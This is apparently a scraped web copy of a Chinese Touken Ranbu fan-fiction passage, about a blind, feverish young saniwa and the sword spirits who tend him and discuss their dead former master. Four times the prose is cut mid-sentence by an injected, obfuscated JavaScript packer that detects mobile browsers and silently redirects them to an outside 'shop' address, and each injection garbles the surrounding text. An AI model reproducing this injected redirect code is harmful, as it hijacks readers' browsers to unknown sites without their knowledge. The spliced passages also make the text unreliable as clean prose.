早些时候,长谷部带着药包下来时,遇见了走廊边靠着无所事事的大胁差。不如说,对方其实就是专程在等他的。 “呀,长谷部君。” 长谷部挂心着手里这包药材的处理方式,抬头看见不远处微微笑着的笑面青江,有点意外。 “……是笑面啊。有什么事?” 大胁差定定地看了他一眼,开门见山道:“主人身边的时间,能否分一点给我呢?” “你想做什么?”长谷部警惕道,“主的身体还没好全,目前无法处理本丸内的事务,不管有什么事,等主的身体好一些再去禀报。” “你想到哪里去了?”大胁差失笑,“正是因为主人生病了,所以才想在近前侍奉。” 长谷部停住脚步,原本放松的面部神情绷紧了一些。物似主人形,织田家的刀或多或少都残留着织田信长的影子,压切长谷部更是如此。到底是一振武系刀,连年随主征战,他的自傲早已融入骨血,不笑的时候面孔沉肃骇人,视线锋利如刀。 若对面站的是某个平民,只怕早要被这目光吓得屁滚尿流——可惜站在面前的是他的同伴,笑面青江一动不动任他打量,脸上的微笑连一丝缝隙都没有。 据他所知,笑面青江并不是精于此道的刀剑。他口中所说的侍奉到底是…… 大胁差仿佛对他的打量浑然不觉,态度自如道:“别看我这个样子,在前代离世的前几年内,我一直是这座本丸的近侍哦。嘛,不过被你拒绝我也能够理解,毕竟长谷部君是唯一一振清显大人的刀……” 长谷部眉头一皱:“我没有这个意思。凡是在这座本丸之中的,都是主的刀剑,没有你我之分。” 笑面青江露出一个计谋得逞的微笑。长谷部咬了咬牙,最终还是松口让步了。 “主失血过多,一天之中有大部分时间都在昏睡。汤药早晚一次,房间内要时常通风,但要注意关窗的时间,万万不可让主着受风寒……” …… “……就是这样。”笑面青江道,“长谷部似乎有事要忙呢。今日余下的时间由我来陪伴您。” “我名笑面青江,由大太刀研磨而来的大胁差。是个很奇怪的名字,对吧?称呼我为‘笑面’或者‘青江’都可以哦。” “是个很奇妙的名字。”清显道,“麻烦你了。” 长久的睡眠让他有些头昏脑胀,手臂撑着身体打算坐起来。刚有动作,一双手立刻从旁边伸了过来——恰到好处的力度,稳当又不失距离感。笑面青江扶着他坐好,从一旁取出薄毯披到人类肩头,而后倒了一杯温热的茶水递过去,给他润口。 不用清显摸索,茶杯被妥帖地递送到手中。 大胁差跪坐在一旁,唯一一只露在外面的金瞳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385738|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眨不眨地盯着人类的动态。 孱弱,苍白。 久居室内不见光,精神不佳。 双目确实处于失明状态,行动滞涩,瞳色黯淡,眼球转动时的弧度也很木讷。 安静,早慧。 至于长相嘛…… 看得出来是大族名家里养出来的,肤色细致匀称,甚至白皙得有些过头,毫无经受风吹日晒的痕迹。是以纵使抱病,仍可见几分非人的精致之感。如同隔帘观花,即使近在眼前,也觉得难以靠近。 面容与前代有五分相像,五官更为柔和——或者说更冷淡一些?猜测并非一母所生。 年龄不大,是一位异常年轻的主君。虽然是早慧之人,不过从他对待臣下的态度来看,做主君还是第一次吧。 最重要的是,原本猜测他对于兄长麾下之物的厌恶戒备,一丝一毫也没有出现。 “青江,现在几点了?” “下午四点,天还亮着呢。”大胁差从人类手里接过小了一少半水的杯子,笑道:“主人现在感觉如何?有什么需要我帮忙的事吗?” 他猜测以人类的性格多半会推脱,事实上清显也确实是这么想的。但他临时想起了自己堆积在桌上一两天都没有处理的工作,又感觉有些头疼:“能麻烦青江扶我去外间吗?” 笑面青江眼中划过几分意外之色。 这是想去处理工作?明明身体都这个样子了? “工作可以延后,现下养好您的身体才是最要紧的。在眼睛痊愈之前就当给自己和本丸的大家放个假吧,您意下如何?” 他在“本丸的大家”这几个字上放了重音,清显的动作一顿,很快同意了。 吃软不吃硬。与预想中的性格不差。 胁差青年在心中僭越地揣测有关主君的一切,见人类同意以后又习惯性地微微撇过头,抬手按了按眼球——那双眼睛其实长得很漂亮,灰绿的颜色犹如古画上的一缕墨彩,纵使现在失去光泽,也丝毫不妨碍它的美丽。 笑面青江敏锐地察觉到,人类并不像表面上表现的那样从容。失明带来的焦虑谁都避免不了,只是谁多谁少罢了。 大胁差伸出手,以一种不容置疑的力道将清显的手拉下来。 “会痊愈的。”大胁差面色如常地笑道,“就算不能痊愈也不必害怕,本丸的十三振刀剑,都会是您的双眼。” 清显一怔,微笑道:“谢谢。” 面热心冷。 笑面青江盯着他,在心中又默默加了一笔。 不是自己所认定的事,任由旁人怎样劝说都不会接受。看起来彬彬有礼,实际上也是以自我为中心的类型……倒也没那么严重,从他吃软不吃硬这一点就能看出来,能让他态度转圜的事情还有很多。 这样的性格……和前代不同,新的主君应当会比较偏爱短刀吧?可惜本丸之内短刀只有三振…… 大胁差在心中思忖,搀扶着主人重新躺下。 人类的精神并不好,躺下以后很快便昏沉起来。笑面青江跪坐在一旁守候,视线从人类身上转向晴光灿烂的窗外,坐了一会,忽然听见清显用微弱的声音道:“无聊的话,外间书架上的书都可以翻阅。” “我这里能打发时间的物件不多……”人类微微笑着,视线漫无目的地盯着天花板,“抱歉啦。” 笑面青江微微一愣。 遮住右眼的青色长发随着胁差低头的动作微微散开一些,在付丧神俊秀的面容上洒下几分浅淡的阴翳。 哈……猜错了呢。 5. 临时会议 第二天晨起时分,清显发起了高烧。 这场高烧来势汹汹、猛烈至极,仿佛一把要将他体内腐朽事物烧干烧净的野火,烧得清显意识混沌,昏迷不醒。 据传人类在濒死时灵魂会飞出体外,回到曾经生活得最久的地方。 八目清显今年十六岁,在成为审神者之前的十三年内,绝大部分时间一直被封锁在八目氏本家的一座小院之中。 由于自身灵力性质特殊,杀伤力极强,且无法可解,他从记事起就被父亲勒令锁在房间,不许踏出那座小院半步。因此,他对狭窄、一成不变的地方适应性很强——兄长八目京彦却与他截然不同。 由于兄长不会被他的灵力伤害,从很小的时候起,照料他最多的不是家里的仆侍,而是这位大他十七岁的兄长。 兄长很讨厌这座在自己看来很宽敞的院子,觉得逼仄极了,喘不过气。 “你不想出去走走吗?” 有一天,八目京彦忽然这样问道。 “不能……不能出去。” 当时八目清显不安地绞着衣袖,这样回答道。 “你准备一生都这样度过吗?” 他支支吾吾回答不出,只能羞愧地低下头。 其实答案很简单,灵力会伤人,努力学习控制住的方法就好了。但这件事对别人来说容易,对他来说却很难——他的灵力狂躁程度世所罕见,简直就像身后附了一只怨念深重的恶鬼一般,会无差别攻击除了八目京彦以外试图靠近他的所有人。 他努力尝试过了,但还是控制不住。仆人的死状让他心生畏惧,于是心甘情愿地将自己锁在院子里—— 起初他以为,自己能在那相安无事地过完一辈子。可从某一天开始,八目京彦忽然不再来了。 那是在一场几乎将本宅全部烧毁的火灾之后,“八目京彦”这个人在族中销声匿迹。照料他的人被换成了一批表情麻木的仆人,无论他如何询问,都无人告知他八目京彦的去向。他被当成一团空气对待,无人理会、无人在意。 而弄懂当时发生了什么、敬爱憧憬的兄长又到底去了哪,是很久以后的事情了。 十三岁,八目清显接到了来自兄长的遗书。他看出了那封遗书上契约的痕迹,心甘情愿地接到手中。 作为兄长的替代品维持一座本丸的运转,对他来说不算一件坏事。 那么,算是一件好事吗? 审神者的卧室之中,笑面青江伸手探了探人类滚烫的额头,起身去更换冰袋。石切丸安静地跪坐在一边,闭眼低声祝祷着什么,身后有刀不停地走来走去,动静之频繁让他不得不睁开眼,劝道:“先坐下吧,长谷部殿。这样走来走去,可能会打扰主殿休息。” 灰发打刀暴躁急性的脾气与原主织田信长如出一辙,听见石切丸的劝告,强忍着焦躁坐下来。 “可恶……明明昨夜还好好睡着,怎么忽然恶化成这样!”他沉着脸念叨一句,余光瞥见外间的罪魁祸首,猛地伸手,哐啷一声,长刀出鞘,寒光烁烁的刀尖对准那张方桌与桌子上的罪魁祸首,“此物定然与我主相克!看我压切了它!” 一期一振:“请冷静一点长谷部殿——” “那只是普通的笔筒和桌子而已。”药研举起温度计看了看,松了口气,“温度降下来一点了,是个好开头。” 石切丸点点头。大太刀的瞳色与长谷部相近,却有着截然不同的从容与温和,他注视着榻榻米上昏睡的人类,终于确认了自己的猜想。 “主殿的灵力很强大啊。一般来说,人类的灵力就算再强也无法影响自身,但主殿可以。”他宽厚的手掌在人类上方虚虚划了一条线,“灵力与病魔正在争夺领地,简直就像一场战役一样。” 众人还是第一次听见这样的说法,加州清光撑着脸的手一顿,暖红色的眼瞳中泛起一丝希冀:“诶?那岂不是……” “是的。”石切丸笑着肯定了他的猜想,“人生在世,难免会有病痛。但这样一次一次磨炼下去,主殿会比寻常人类长寿很多。” “果真吗?!” 长谷部的眼睛亮了亮,正准备凑近些观察主的情况,忽然被一个软绵绵的事物绊住了脚。灰发打刀一帧一帧地低头,和一双圆滚滚的眼睛对视—— 五虎退伴生虎的其中一只趴在他的脚边,好奇地抬头观察这个巨大的人形生物。 长谷部额角爆起一根青筋。 “——所以,为什么一个两个全都挤到这来了?!主的居所是可以随意进入的地方吗?!” 坐在一期一振身边的五虎退:“……非常抱歉!!” “那当然是……”髭切眨了下眼睛,露出个柔软无害的笑,“弟弟、那个……嗯,嘛,名字记不清了……总之,弟弟说想来见一见主人呢。” “是膝丸啊!兄长!”膝丸轻咳一声,回过头来,神情变得严肃,“主上抱病,臣下前来探望,是很正常的事吧。” “那烛台切呢?” “嗯?我吗?”高大的独眼太刀单手撑着墙站在门口,发现话题扯到自己身上,神态自若道:“我是来提醒大家,可以开饭了。” 探病的事暂告一段落,挤在一个审神者卧室内的刀剑陆续被赶——不,被请出去,一前一后地往饭堂的方向走。 “长谷部先生……没有来呢。”五虎退抱着伴生虎,怯怯地回望了一眼本丸中央那座巍峨的建筑,“早餐也没来,真的没关系吗?” 药研藤四郎摸了摸小短刀的头,叹了口气:“大将好起来之前,他估计是什么都不会吃了。” 大胁差笑了笑:“嘛,在有关主人的事情上,长谷部总是容易头脑发热呢。” 这就是主控刀的特性吧——该说是羡慕,还是别的什么呢?烛台切想。 一时间,大家默契地都没再接话,沉默地来到食堂。大俱利伽罗已经按照烛台切的嘱托将几张桌子拼到了一起,本丸内难得有这么整齐的时候,虽说是叫一起吃午饭,却并没有摆餐具。 没人提出疑问,刀剑们安静地入座。烛台切环视了一下人群,问道:“不动呢?” “啊,刚过来的时候看见他在后院走廊。”加州清光说,“喝了太多酒,完全叫不醒,现在在房间睡觉。” 烛台切捏了捏鼻梁,“先这样吧。” 这振不动行光酗酒、自暴自弃的症状比其余不动的症状要严重得多,这也与那场导致前代审神者死亡的剧变有关。已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385739|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易主三年,这份阴影仍然盘旋在他心头,一刻也不曾消散。 “伤口总会随着时间愈合。不管怎么样,先陪着他过好接下来了每一天吧。”药研藤四郎率先打破了沉默,“我有预感,大将是个很不错的人。以后本丸的日子会变得越来越好吧?” 加州清光点点头。他有点忐忑地开口:“总之……没有被讨厌吧?” 他将求证的目光移向笑面青江和烛台切,除去长谷部以外,这两振刀是几天内接触主人最多的刀剑。对于这个问题,笑面青江倒是很坦诚:“目前看来,没有。” “那……为什么主人这三年以来从来不出天守阁,也不见我们呢……” 笑面青江道:“是有不可告人的原因吧。不过,应该很快就能弄清楚了。” 众刀剑的目光顿时转移到大胁差身上,见青发胁差自如地撑着下巴,笑道:“毕竟现在已经是能看到睡颜的亲密……” 砰的一声。 笑面青江被烛台切提着领子丢出去了。 独眼太刀拍了拍手上不存在的灰,好像什么都没做过一样,自然地接着方才的话题继续下去:“不管主人是因为什么原因拒绝离开天守阁,现在也不一样了。这座本丸迎来了破冰的时刻,不管用什么方法,都一定要将这次机会把握住。” “主人是位性情柔和的人呢。嘛,某些方面也有些冷淡。” 笑面青江不知何时又出现在了门口,正在整理变得有点凌乱的长发,“和京彦大人简直是完全相反的类型。” 这个名字甫一出现,大部分刀剑脸上的表情都僵了一僵。像是被提着领子按进冰窟,气氛骤然冷下来不少,加州清光左看看右看看,最终什么也没说,抿紧唇垂下了头。 髭切仿佛什么也没察觉到似的,笑眯眯地开口接话道:“很久没听见这个名字了呢,真是令人怀念啊。那位大人现在想必已经在那个世界安度余生了吧?” 膝丸皱着眉头,语气隐隐有点担忧:“阿尼甲……” “我可是很认真地在怀念哦,担心丸。” “是膝丸啊!阿尼甲!” “嘛,尚且不知大将与兄弟关系如何。”药研冷静地道,“保险起见,在大将主动提起之前,先将前代的事尘封吧。” 人都有绝对不能触碰的禁忌。这座本丸恰似死去了三年,三年以来的每一天都如同被封在匣中,毫无变化、死气沉沉。纵使与料想中不同,主君对他们似乎并无厌恶之情,但谁也不能确认,有关前主的一切是不是主君不能触碰的禁忌。 触碰过后,很可能会迎来下一个三年,甚至三十年,仅靠契约微弱的联系,除了指令以外毫无交流。 这座本丸已经经不起更多的风浪了。经历过从前的惊涛骇浪,如今迎来死水一般的平和。若不借审神者之手将前代遗留下来的病根拔除,这座本丸将在这样的平静中彻底朽坏。 一道细弱的声音响起:“那、那个……” 一期一振察觉到了自家弟弟的异状:“退,怎么了?” 从会议开始时就一言不发的白发小短刀,正紧张地摩挲着衣角。他没有抬头,犹豫了很久才开口道:“那个、会、会议,不叫长谷部先生来……真的可以吗?” 6. 不坦率 一双大手落下来,石切丸伸手摸了摸五虎退的头。短刀心中的胆怯被驱散不少,忐忑地抬起头——预想中的尴尬情景没有出现,没人因为他这个问题感到冒犯,烛台切隔着桌子注视着他,金色的眼瞳看起来很温和。 “退是个细心的好孩子。”独眼太刀笑道,“只是,嘛……长谷部君与这件事情并没有牵连,不应该被牵扯其中。” ——毕竟在这座本丸之中,只有他不是京彦大人锻造出来的刀。 京彦所锻造的那振压切长谷部,直至最后一刻也没有离开主人的身边。 刀刃崩碎成碎片的场景仍然历历在目,余下的十二振刀剑在战斗中幸存,因灵力耗尽而沉睡。他们在沉睡中被带回到原来的本丸,醒来以后,却发现身边多了一振压切长谷部。 同样的相貌,同样的高练度,相似的脾气与性格。 和他们一样带有和新任主人的契约,但不是他们认识的那振长谷部。 并非前代亲手锻造,却仍然出现在这座本丸之中,还持有与现任主人的契约。答案只有一个——这振压切长谷部,是清显大人亲自带过来的,属于清显大人自己的刀。 虽然与他们一样三年都不曾见过主君,但从他如今能自由出入天守阁来看,清显大人对自己的刀相当宠爱。 所以…… “所以,一切由我们来承担就好。”烛台切从桌前起身,十分娴熟地扯开话题,“好了,到开饭的时间了。大家都饿了吧?今天吃……” “——先说好,我对你们从前的事没有兴趣。” 一个强硬的声音忽然插进来,搅乱了烛台切刚刚缓和了一点的气氛。独眼太刀脸上的笑容一僵,很快嘴角一提,露出个更加融洽完美的笑,转头看向门口。 笑面青江往旁边挪开一步,举起双手为自己作证:我也是刚刚才发现。不能怪我吧? 风吹起近侍大人的衣角,在门边若隐若现。长谷部显然已经在门外听了很久,出声以后索性也不再隐藏,双手环胸侧靠着门框,面无表情地将室内扫视一圈。 “既已易主,应当尽力侍奉现在的主人才是。” “主性情仁慈宽厚,就算你们之中有人存有心结,想必他也不会在意。但正因如此,我等才更不可辜负主的心意。” 顿了顿,长谷部皱起眉头,语气硬邦邦地道:“另外,奉劝你们一句,不要在主状态不定的时候为他增添烦恼……你这家伙想做什么?!” 长谷部恼怒地抬起头,烛台切不知道什么时候走到他身边,宽阔的臂展一把将灰发打刀夹在臂弯,拖着他往长桌的方向走。 “真是不坦率啊长谷部君——”独眼太刀边走边感叹道,“既然都已经担心到悄悄追下来偷听了,一起吃顿饭怎么样?早饭也没吃,退很担心你啊。” “放、放手!”长谷部徒劳地挣扎着,“我只是下来拿东西碰巧听到了而已,主还在天守阁等我——” 烛台切笑眯眯道:“那就吃快一些。不好好吃饭,哪来的力气照顾主人呢?” 五虎退双眼亮晶晶地看着被强行按头坐下的长谷部,从高高的凳子上跳下来:“我去拿餐具!” “我也去帮忙。”一期一振微笑道,“烛台切殿,刚刚还没说完,今天中午吃什么?” 长谷部:“……喂!” 清显的高烧在当天晚上退下来,转为间歇性的低烧。 这场失血和疾病将人类原本就不多的健康值榨得一干二净,由于身体状况过差的缘故,本丸的近侍工作在审神者虚弱的“还是不用麻烦了”声下正式开启,由压切长谷部、笑面青江和烛台切光忠三振刀剑轮换完成。 起初人类并不配合——一来他并不认为自己的情况严重到连基本的生活自理都无法完成,二来他并不认为自己有被这样特意关照的价值。 经过一段鸡飞狗跳的磨合期,这场无声的对抗被笑面青江出手截停。 “眼睛看不见是个大问题呢。身边没有人在的话,您指望哪天又踩到什么东西滑倒,然后躺在血泊中一睡不醒吗?”大胁差拧干手里的毛巾,避开绷带缠绕的位置轻轻为人类擦脸,“虽然我没有看见,但据烛台切所说,长谷部那天可是差点被吓疯了啊。再来一次的话,估计会绝望自责到直接跳刀解池吧。” 清显光泽黯淡的灰绿色眼瞳微微一转。 大胁差察觉到他的反应,面带微笑地又补充了一句:“顺带一提,我也是哦。” 清显心中涌现一种难以描述的陌生感受。他将视线转向大胁差所在的方向——自己的灵力脱离身体模糊地停留在不远处,像一团无声无息的火苗。因此,眼睛虽然看不见,意识却能感知到付丧神的大概位置。 “在这边哦。” 一只手隔着毛巾托住审神者的脸,微微施力。清显顺着付丧神的力道转头,目光终于找对了落点。 “……为什么?” 清显问道。 笑面青江道:“哦呀。会问这个问题,是对我产生兴趣了吗?” “……” 清显又将脸转了回去。 相处了这么久时间,他也多少摸清楚了三位近侍的性格。长谷部赤诚坦荡一览无余,烛台切温和可靠有时也有些严厉,笑面青江轻浮且很有距离感,某些时候甚至显得有些油滑。 比如现在。 这人身体里藏着无数个心眼子,向他提问的时候,要么得到轻浮的反问,要么干脆是一个字都不能信的回答。 但他这招很有效,起码审神者真的老实了。或许是想到长谷部哭天喊地跳刀解池的惨状,隔天拆下绷带的时候,烛台切顺带提出要帮他清洗头发,本以为要费一番功夫,却见清显默默地抬起手,自觉解开了发绳。 烛台切有点诧异地睁大眼睛,也不自觉地松了一口气。 审神者的性格很安静——或者说是封闭,做近侍的时候,能与他交流的机会其实非常少。他从不表达自己的需求,寡言少语到了让人苦恼的程度,因此,察言观色的能力就显得犹为重要。 长谷部君倒是对此乐在其中,笑面青江看起来也不受什么影响,烛台切却觉得这不是什么好兆头。 审神者的心门始终不对付丧神敞开,再这样封闭下去,等到双目痊愈,他与付丧神之间的距离又会变回从前那样吧。但现在——总而言之,是个好兆头。 盥洗室内,高大的独眼太刀细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385740|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地为主人清洗长发,完成后又搬来一把带靠背的椅子让清显坐好,隔着椅背用毛巾细细擦拭。 椅子被摆放在窗边向阳的地方,轻风带着纤细柔和的花香拂向室内。清显这次撞到头以后灵力似乎有些失调,本丸内一日阴一日晴,有时早上太阳刚刚升起,眨眼间就又下起了雨,今天倒是一个难得的晴天。 烛台切本意是让人类多接触一下自然,但在风口吹太久就不好了。太刀青年一边擦拭长发,一边在心中想:要是有吹风机就好了。 这座本丸自开启以来就没特意打理过,配备的现代设施非常少。 付丧神倒是无所谓怎么都能过,但像是这种时候果然还是需要的。他正在心中思忖,忽然听见清显问道:“吹风……机?” 嗯?不小心把心声说出来了吗? 不过见主人茫然的样子,对现代器物的了解比起付丧神也只少不多啊。 清显温声道:“有想买的东西的话,去找长谷部就可以了。” 出身自历史中的阴阳师家族,一半人生在古代、另一半人生在时间结界之内度过的审神者并不了解付丧神口中念叨的是什么东西,但这并不妨碍他想为付丧神解决问题。 就算很贵也没有关系——说来惭愧,这座本丸里最不缺的就是……钱。 京彦是为资历颇深又勤勉的审神者,本丸内的资源早已溢出,小判挂在本丸的账户上,清显曾经草草瞄过一眼,没数清楚后面有几个零。而这些资源在清显继任时就已经随仓库物品一齐转到名下,现在完全归他所有。 然而他日常需要花钱的地方少之又少,除了最初在狐之助的催促下采买了几身衣服和一些日用品,就没再动过。 付丧神有需要的支出项,会提前让狐之助递申请过来,但金额同样很小,换言之,这座本丸的账户余额从转移过来到现在,完全没什么变化。帮烛台切买个东西还是可以的。 烛台切闻言,向主表达了感激,并表示自己会抽时间去购置一批生活用品。 但是—— “找长谷部君?” “前天长谷部君说我的房间陈设太简陋,无论如何也要去万屋一趟,我把存据卡交给他了。”清显背对着烛台切慢慢地道,“我的眼睛看不见,处理不了工作,仔细想过,这部分还是交由你们自由支配比较好。” 烛台切脸上笑容不变,额角蹦起一个十字。 本丸的财政大权,居然就这么……不,往好处想,这也是主人信任付丧神的表现。 长此以往下去,一定能慢慢越过那条…… 高大的太刀绕到主人侧边,动作在看见对方神情的瞬间微微一顿。 年轻的人类靠着椅背,一动不动地端坐着。 现在他一定还处在黑暗之中,思绪却如同脱离了躯体,越过窗外花与草的颜色,落在更远的远方。从烛台切的角度看过去,原本只有五分的相似度提高到了七八分,肖似前代年轻时的审神者神情冷淡,仅仅是一个侧脸,便足以让太刀背后涌起深深的寒意。 一道看不见墙壁横亘在两人中间。 能越过吗? 烛台切低头凝视着人类,陷入了良久的沉默。 7. 没有价值 烛台切端着餐盘离开天守阁,将空间留给了许久没和审神者单独相处的狐之助。 审神者抱病,本丸迎来一个漫长的长假,不用出阵、不用远征,内番改为两日一轮换,空荡荡的本丸终于热闹起来,随处可见乱逛的“闲散人士”。 一路应付了几位询问主人近况的同伴,烛台切远远听见一些稀罕的吵闹声,转过拐角,定睛一看,是五虎退和不动行光坐在茶室外的草坪上头玩堆石头的游戏。 难得看见不动行光在白天有人的时候出现,虽然还是一副醉醺醺的样子,但也会在赢了五虎退之后拍着大腿哈哈大笑。白发小短刀的五只伴生虎在草坪上滚来滚去、嗷嗷打闹,髭切和石切丸坐在走廊边喝茶,暖融融的阳光底下,加州清光抱着本体靠着廊柱小睡。 许久不见这么平和的景象,烛台切的脚步一顿,心中涌现些许怀念。 记忆中有类似的景象,但人还要更多一些。那时候藤四郎家的短刀胁差们都还在,院子里头吵闹得不行,走廊底下更是从没空过,从早到晚坐满了聚众喝茶的家伙。 现在虽然人少了些……也决不能让这样的日子像泡沫一样碎掉。曾经没能守护住的,现在拼尽全力也一定要做到。哪怕…… 石切丸很快发现了站在转角处旁观的太刀青年,笑着打招呼道:“下午好,烛台切殿。近侍的工作还好吗?主殿的身体怎么样?” 烛台切弯起眼睛,眼底缠绕的些许阴翳转瞬消散。 “今天状态还不错,现在在午睡中。”他笑道,“我下来送餐盘,让狐之助帮忙照看一会。” “午睡啊……烛台切殿也过来休息片刻吧。”石切丸说,“餐盘一会由我收去厨房就好。” “恭敬不如从命了。” 烛台切点点头。 草坪上,不动行光又赢了一次。他喜出望外地站起来,似乎打算指点一番五虎退这个游戏的诀窍,刚刚站起来就被小老虎绊倒,后背朝下“砰”地一声栽倒在地,安静了。 “啊、不动先生!!” 烛台切感叹道:“今天不动很有精神啊。” 髭切笑眯眯道:“毕竟最近的天气很不错嘛。灵力似乎也浓郁了不少哦?本丸里的花都开了。” 这振平安时期就被锻造出来的老刀说话总是慢悠悠的,声线和树上刚开不久的小花一样柔软无害。“烛台切有什么心事吗?毕竟也做了一千年的刀了,什么都可以和我商量哦。” 和甜蜜语气相反的,是竖瞳中投来的毫不收敛的审视。 烛台切对此适应良好,从善如流地挑了个位置坐下,给自己斟了一杯茶。阳光底下,太刀青年俊美得毫无瑕疵的面容在阳光底下闪闪发亮,他苦笑一声,“我啊,原本觉得自己在讨人喜欢这一项上还是有些心得的。但在外表无法发挥作用的情况下,果然还是有点困难呢。” “诶、被主人讨厌了?”加州清光不知道什么时候醒过来了,抱着本体刀眼巴巴地问道。 “也没到被讨厌的程度……”烛台切语塞了一下,正在思考措辞,就见打刀坐直了身体,有点害羞又有点得意地开始了他的“如何讨审神者欢心”小课堂。 “第一,要能察觉到主人未说出口的小小情绪。” “第二,要在不经意的情况下展现自己无敌可靠的一面!” “第三,要学会在某些时候得寸进尺一下。” “第四……”加州清光滔滔不绝地罗列了近十点诀窍,最后总结道:“最重要的还是要足够可爱。性格可爱一点也行哦。” 石切丸顺着加州的描述想象了一下可爱的烛台切光忠,感觉脸上的笑容快要维持不住了。出乎意料的是,髭切竟然认同地点点头。 “有时候是要得寸进尺一点。”髭切撑着脸笑道,“在一堵墙壁面前徘徊再久,不伸手去推,墙壁也不会自己倒下去哦。” 加州清光:“欸?墙壁?” 烛台切若有所思。正巧长谷部抱着一大堆东西出现在走廊那头,皱着眉头道:“什么墙壁倒不倒下去的……谁有空过来搭把手?给主装饰房间的东西到了,要好好整理一下才行……” 加州清光歪头看了一眼,很快将“墙壁论”抛到脑后,扬声道:“都买了些什么?我来帮忙——” 烛台切看了一眼那堆快要堆成小山的箱子,头上流下一滴冷汗:“这么多东西,主人的房间放得下吗?眼睛看不见的话,很容易被绊倒吧。” “这种情况我怎么可能会考虑不到?自然是精心挑选过的,不会出问题。等到主的双目恢复,定能叫他眼前一亮!” 灰发打刀就近拉开一间部屋的门将箱子放进去,想起了什么似的,又探头看了他一眼,皱着眉头道:“我记得你今天是近侍……不守候在主的身边,在这里做什么?” 烛台切一怔,无奈地举起手认错。 “嗨、嗨。我这就回去了。” 天守阁内,清显从榻榻米上坐起身。 “狐之助?” 一只毛绒绒的爪子立刻伸过来,狐之助殷勤道:“在下在这里!清显大人有什么吩咐?” 清显摸索着,将毛茸茸的式神抱进怀里,揉了揉它的爪子和耳朵。 眼睛看不见,手就成了认识外界的第二双眼睛。人类在黑暗里待了很久,直到现在才有了“看”见东西的实感,顺着耳朵滑向头顶,又捏了捏狐之助背上的皮毛。 虽说是式神,被这样从头到脚地抚摸一通也难免晕乎乎的,狐之助躺在人类膝头,两只豆豆眼已经弯成了蚊香眼。 “京、清显大人……再这样下去在下会忍不住睡着的……” “不能睡,狐之助。” 出身阴阳师家族,人类对式神这一类生物更为熟悉,态度也更为亲近。纵使不是由自己灵力结成的式神,也很容易让他联想到幼时陪伴身侧的那几枚小纸人。 “我有问题要问你。” 人类的语气很平淡,语速也不快,像容器内静滞的水,少有起伏。狐之助抖了抖耳朵,立刻翻身站好:“是!清显大人请问!” “如果我的眼睛一直不好,会被政府辞退吗?” 狐之助愣了一下,急忙道:“当、当然不会!您怎么会这么想?” “失明的话,很多工作都处理不了了。效率太低,再加上身体不好,起居都成问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385741|200235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题,就更麻烦了。”清显道,“虽说审神者能够为神明提供灵力,但本职工作还是守护历史。若是连本职工作都做不好,和什么都做不成的废物也就没有区别了吧。” “如果刀剑们厌烦了这样的主人,提出想要易主,到时候会怎么样?” 狐之助无法忍受人类用这样轻慢的语气批判自己,急得浑身的毛都快炸开了:“怎、怎么会!厌烦什么的……付丧神和审神者才不是那种关系啦!为什么您总是认为自己的刀剑会讨厌自己呢!您这些日子和三位近侍相处,应该很明白他们的心意才对!!” “我明白的。长谷部、青江、烛台切,都是很好的人。”清显慢慢地道,“不好的是我,狐之助。除了灵力,我什么都没有。不学着兄长的样子,就什么都做不好。” 人类定定地注视着狐之助的方向,向它陈述一条显而易见的世间真理:“没有价值的人,就会被抛弃。就算是刀剑,也不会想要追随平庸之人。” “要追随我这样的无能之辈,对于他们来说一定也很煎熬……很抱歉,但我有必须留在这个位置上的理由。” 哪怕是厚着脸皮赖在这里,也一定要留下来。守护不了兄长,至少也要守护好兄长的遗物。 毕竟那封令他记忆犹新的遗书上,兄长曾向他这样介绍——本丸之内,无论哪一振都是让他发自内心感到自豪的好刀。 狐之助拼命挤压小小的脑子,语无伦次地安慰他:“没、没有那种事情!谁说您是无能之辈的?在、在这里、就算没有价值……不对!您有价值、呜啊啊啊啊在下到底在说什么——” 清显伸出手,将狐狸整个抱进怀里,埋头紧紧蜷缩成一团。一分钟后,人类松开狐狸式神,脸上表情重归平静。 